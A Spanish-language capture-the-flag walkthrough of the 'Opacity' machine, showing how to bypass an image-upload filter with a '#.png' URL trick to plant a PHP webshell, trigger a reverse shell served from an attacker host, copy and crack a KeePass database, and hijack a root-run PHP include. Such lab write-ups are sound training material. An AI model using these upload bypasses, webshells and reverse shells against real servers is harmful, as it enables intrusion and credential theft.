Opacity

En esta maquina tendremos que bypassear la subida de archivos, para poder subir nuestra webshell para ejecutar comandos y luego tener una shell de la maquina victima. Luego tendremos que crackear la contraseña de keepass para iniciar sesión como ssh

20231111162327.png

Walkthrough

Enumeración

Iniciamos realizando un escaneo con nmap

nmap reporta los puertos abiertos, de los cuales enumeraremos los servicios que se ejecutan por estos puertos

Puerto 80

Vamos a enumerar el puerto 80 en el cual encontraremos una panel de login, intentamos realizar una injección sql, pero no dio resultado

20231111163144.png

Después de intentar realizar inyección SQL, realizaremos el desubrimiento de los directorios del sitio web del puerto 80. Haciendo uso de la herramienta wfuzz pasaremos a la enumeracion de los directorios del sitio web

La herramienta nos reporta que existe un directorio cloud por lo que vamos a revisarlo. El sitio web nos muestra un panel donde al parecer nos deja almacenar una imagen

20231111194918.png

Si no se tiene los cuidados necesarios al gestionar la subida de archivos al servidor, este puede ser vulnerable a que se suba un archivo malicioso

Explotación

En Hacktricksarrow-up-right podemos observar las maneras que podemos bypasear algunos filtros para subir una shell y acceder al servidor

Creamos un archivo shell.php

Ahora iniciamos un servidor en python, tu lo puedes hacer en lo que desees

Ponemos el link http://[IP-ATTACKER]/shell.php#.png, la # hará que todo lo que esta después no lo cuente como un carácter nulo

20231111214834.png

Despues de subir, visitamos la direccion del sitio donde almacena el archivo

En el sitio web, visitamos http://[IP-VICTIM]/cloud/images/shell.php?cmd=whoami#.png agreagando un parametro que en este caso es whoami y podemos observara que tenemos respuesta del lado del servidor para ejecutar comandos

20231111212120.png

Por alguna razon no puede usar el metodo para enviarme un reverse shell, por lo que usare una en php que lo podemos encotrar en nuestra maquina si usamos kali linux 20231111230530.png

Cambiamos la direccion ip y el puerto a la de nuestra maquina atacante y el puerto donde inicamos ncat a la escucha

20231111230603.png

Realizamos el mismo procedimiento que se hizo anteriormente. Iniciamos un servidor en python ❯ python3 -m http.server 80 luego le pasamos el link al servidor http://[IP-ATTACKER]/php-reverse-shell.php#.png y subimos nuestra revershell en php

Escalada de privilegios

Usuario - www-data

Si lo hicimos bien obtendremos una shell como el usario www-data

20231111231020.png

Enumerando el sistema encontraremos un archivo dataset.kdbx el cual es un archivo de credenciales que usa keepass

20231111233338.png

Para traernos a nuestra maquina atacante podemos hacer uso de python

  • Iniciamos un servidor en python en la maquina victima www-data@opacity:/opt$ python3 -m http.server 8080

  • Con wget descargamos el archivo ❯ wget http://[IP-VICTIM]:8080/dataset.kdbx

Para obtener la contraseña de inicio del keepass haremos uso de keepass2john

Para luego crackearla con john

20231111233806.png

Obtenemos la credencial para ingresar al keepass

20231111235320.png

Una vez ingresado, encontraremos unas credenciales para el usuario sysadmin

Usuario - sysadmin

Iniciamos sesión como el el usuario sysadmin por ssh. enumerando los procesos del sistema encontraremos que el usuario root UID=0 ejecuta un comando por lo que podemos inyectar algún comando

20231112000351.png

investigando el script tenemos lo siguiente

En esta parte del código require_once('lib/backup.inc.php'); podemos inyectar algún comando.

20231112001412.png

Eliminamos el archivo ./scripts/lib/backup.inc.php para crearnos nuestro propia archivo.

El código que pondremos es lo siguiente:

Ponemos a la escucha ncat y esperamos a que se ejecute el comando

Usuario - root

20231112002129.png

¡VAMOS! Happy Hacking :)

Last updated